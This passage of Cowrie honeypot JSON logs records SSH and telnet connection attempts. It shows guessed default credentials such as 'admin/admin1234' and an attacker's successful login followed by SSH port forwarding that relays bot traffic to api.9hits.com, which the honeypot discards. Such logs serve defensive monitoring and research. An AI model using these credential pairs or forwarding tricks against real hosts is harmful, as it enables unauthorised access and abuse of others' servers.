{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x039\\xc9\\x99\\xc7\\x879\\x83\\xc2\\x99w\\xf4\\\\\\xc3\\xda3\\xd11f25W\\x1dA\\xdf%\\x04\\xd4g]=a\\x10 \\x1b>K\\x04{\\xef\\x13\\xfd\\xc5\\xe3\\xa2\\x8b\\xc1#\\xe78\\x81Df\\xc8I\\x9f\\x87\\xad\\xc0?\\xaa9V\\xf6ms\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 %\\xfc\\xe9\\x91n<1:f\\xcc(t\\xea}\\xc8\\xd4\\xb1\\xf1\\xc5<d\\x1a\"p\\xaf7\\xc0@\\xb0\\x12\\xafg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x039\\xc9\\x99\\xc7\\x879\\x83\\xc2\\x99w\\xf4\\\\\\xc3\\xda3\\xd11f25W\\x1dA\\xdf%\\x04\\xd4g]=a\\x10 \\x1b>K\\x04{\\xef\\x13\\xfd\\xc5\\xe3\\xa2\\x8b\\xc1#\\xe78\\x81Df\\xc8I\\x9f\\x87\\xad\\xc0?\\xaa9V\\xf6ms\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 %\\xfc\\xe9\\x91n<1:f\\xcc(t\\xea}\\xc8\\xd4\\xb1\\xf1\\xc5<d\\x1a\"p\\xaf7\\xc0@\\xb0\\x12\\xafg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:11.619553Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.61103868484497,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:11.703721Z","src_ip":"128.199.8.54","session":"6773ba56b004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:11.984833Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39179348945618,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:12.438671Z","src_ip":"172.81.62.90","session":"0e5476c5631d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":49088,"dst_ip":"159.203.135.109","dst_port":22,"session":"bec3d0b04dfa","protocol":"ssh","message":"New connection: 182.93.50.90:49088 (159.203.135.109:22) [session: bec3d0b04dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:12.950928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:12.956324Z","src_ip":"182.93.50.90","session":"bec3d0b04dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:13.176681Z","src_ip":"182.93.50.90","session":"bec3d0b04dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem123","message":"login attempt [fivem/fivem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:14.092843Z","src_ip":"182.93.50.90","session":"bec3d0b04dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:15.316508Z","src_ip":"182.93.50.90","session":"bec3d0b04dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":45128,"dst_ip":"159.203.135.109","dst_port":22,"session":"980d8ca07789","protocol":"ssh","message":"New connection: 2.99.213.222:45128 (159.203.135.109:22) [session: 980d8ca07789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:18.689225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:18.693550Z","src_ip":"2.99.213.222","session":"980d8ca07789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:18.793341Z","src_ip":"2.99.213.222","session":"980d8ca07789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"fff","message":"login attempt [test/fff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:19.223077Z","src_ip":"2.99.213.222","session":"980d8ca07789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54950,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a9595691b7","protocol":"ssh","message":"New connection: 123.27.168.40:54950 (10.17.0.5:22) [session: 49a9595691b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:19.742406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:19.746396Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:20.037587Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:20.323727Z","src_ip":"2.99.213.222","session":"980d8ca07789","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:21.424132Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:21.829748Z","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:21.937885Z","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.061619Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.63\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YXUme19WJUlRc2hjYXtraQ%3D%3DG59Xevx2GaMczWPCMPl9BouOCOq%2BBgqIrngDP7CxTc44V8mgQqeWOQOktTSb5uOrHeBXufmFRC%2BoFwblUht7TMxqPpQIowaxTu2AfQj%2BgRKo2%2F4LZaOqT1oPRP02R1mTDIWJKlHLltGPc5pkBVC2CVnIjHPHcs9fxIr2BG04ViAP81ZuY9owiyZe5tqhVTw125ekYA6W7CikjYyLfw3yIwxRrNTJrnO67Otb5tJx%2Bwoctv%2BL8Ll%2BWDrTc%2B2T1gbDICix%2BTzD7vKXIT6J8iJS3NwW1pUQirI7v13f9IAovcT6j1%2BvgkKoJQBWIJnBLJ1TcPG%2Fole%2FcJzug6SFXuh9Bnx3JCqmBguEwXIHFjsQ1gvQZvjx4S5AjhzDPYmk2687AkSQPzBjelkSp9kGQA4urt54xA4qKlDWD0NN6B9i7HNtr05TS5NtF%2BLSW7iaAIlGI%2FqRDKOJ2Ly8k36Dg4tab6NtoyyeoguD4j4WMIwHWMUpVTBjk7fkLAHtbF9EqviYldeGQh4daoHepXSq8e0AvrXeVduDTF9Lww9xJ1kz%2FTJGesRZhhXn0H2R4spk6m9K%2Fa7oUnxESuQrakyhA0M6BpBnxyJ0A8%2F4DpqAdXUIxngCpPrYUXEHq8bD%2BgQ6bj1r%2FFgd2r7nnXsJuTsucqb%2FZMoMJNi4RQVUqgSmU8WRyszIEm7JJiCmYkF%2BqGG2JW6%2F5Wj7oe0mzXCMFbpZ11ARmjizm0q9LyPK%2FRUwmVstC9uGaLZPGmz2M4BRK1h5TPUR7c8q5YAycraKwdNMxpwCsX0mx9JdSH1zQU6Jxxe9KiTofh2mG9dk7cIlXlGqfSQ9KY1JhnIcVxjLyT4kBD8dELwaMg8NzvxnbzVfn1diExXeFt%2BanruljuEsUmAHlV%2BxCJvJN%2F76W2%2Fybyekx%2FHHdGKwF%2B4Y%2FBdl%2Ft%2BGz860yH2NhyiHo5mxuGgCwkFG9RnuKI5NZC%2Bf6wfzdPNH7xHxGgZsDWd8c6emnLk%2B5Salg1d2TZTqPdc4spbCw81ET4N5LunzGUCaH5obhhp8PWDYBIzXzxf6nylww36heChML5E%2BW0%2FURn2oPhb6Q4QivWhN'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.63\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YXUme19WJUlRc2hjYXtraQ%3D%3DG59Xevx2GaMczWPCMPl9BouOCOq%2BBgqIrngDP7CxTc44V8mgQqeWOQOktTSb5uOrHeBXufmFRC%2BoFwblUht7TMxqPpQIowaxTu2AfQj%2BgRKo2%2F4LZaOqT1oPRP02R1mTDIWJKlHLltGPc5pkBVC2CVnIjHPHcs9fxIr2BG04ViAP81ZuY9owiyZe5tqhVTw125ekYA6W7CikjYyLfw3yIwxRrNTJrnO67Otb5tJx%2Bwoctv%2BL8Ll%2BWDrTc%2B2T1gbDICix%2BTzD7vKXIT6J8iJS3NwW1pUQirI7v13f9IAovcT6j1%2BvgkKoJQBWIJnBLJ1TcPG%2Fole%2FcJzug6SFXuh9Bnx3JCqmBguEwXIHFjsQ1gvQZvjx4S5AjhzDPYmk2687AkSQPzBjelkSp9kGQA4urt54xA4qKlDWD0NN6B9i7HNtr05TS5NtF%2BLSW7iaAIlGI%2FqRDKOJ2Ly8k36Dg4tab6NtoyyeoguD4j4WMIwHWMUpVTBjk7fkLAHtbF9EqviYldeGQh4daoHepXSq8e0AvrXeVduDTF9Lww9xJ1kz%2FTJGesRZhhXn0H2R4spk6m9K%2Fa7oUnxESuQrakyhA0M6BpBnxyJ0A8%2F4DpqAdXUIxngCpPrYUXEHq8bD%2BgQ6bj1r%2FFgd2r7nnXsJuTsucqb%2FZMoMJNi4RQVUqgSmU8WRyszIEm7JJiCmYkF%2BqGG2JW6%2F5Wj7oe0mzXCMFbpZ11ARmjizm0q9LyPK%2FRUwmVstC9uGaLZPGmz2M4BRK1h5TPUR7c8q5YAycraKwdNMxpwCsX0mx9JdSH1zQU6Jxxe9KiTofh2mG9dk7cIlXlGqfSQ9KY1JhnIcVxjLyT4kBD8dELwaMg8NzvxnbzVfn1diExXeFt%2BanruljuEsUmAHlV%2BxCJvJN%2F76W2%2Fybyekx%2FHHdGKwF%2B4Y%2FBdl%2Ft%2BGz860yH2NhyiHo5mxuGgCwkFG9RnuKI5NZC%2Bf6wfzdPNH7xHxGgZsDWd8c6emnLk%2B5Salg1d2TZTqPdc4spbCw81ET4N5LunzGUCaH5obhhp8PWDYBIzXzxf6nylww36heChML5E%2BW0%2FURn2oPhb6Q4QivWhN'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.064035Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.289747Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\xf1\\xa8\\xca\\x04\\x135_}\\x10~@\\xe1d\\xe0\\xd8\\xcd\\xa2\\x17a\\xc9nSD1\\xbe\\x8e O\\xb0\\x9d\\xa3 \\xb0\\xe4\\xed\\xd63FW\\xf5\\x81\\x06'\\x81\\x03\\xc0\\xfb\\xe2]\\x7f\\x81]\\xaa5\\x00\\x925\\x9cOQB\\xacT\\x91\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 k\\x02\\xe8)\\xe0+{7\\xac\\x9c\\x1d\\xcf\\x1f\\x90\\xe5\\xaa\\xf0\\x85\\x9b\\xbd\\xe9\\xa0\\xa7\\x1ci\\xfa\\xc4\\x11\\xdd\\x90\\xb8\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x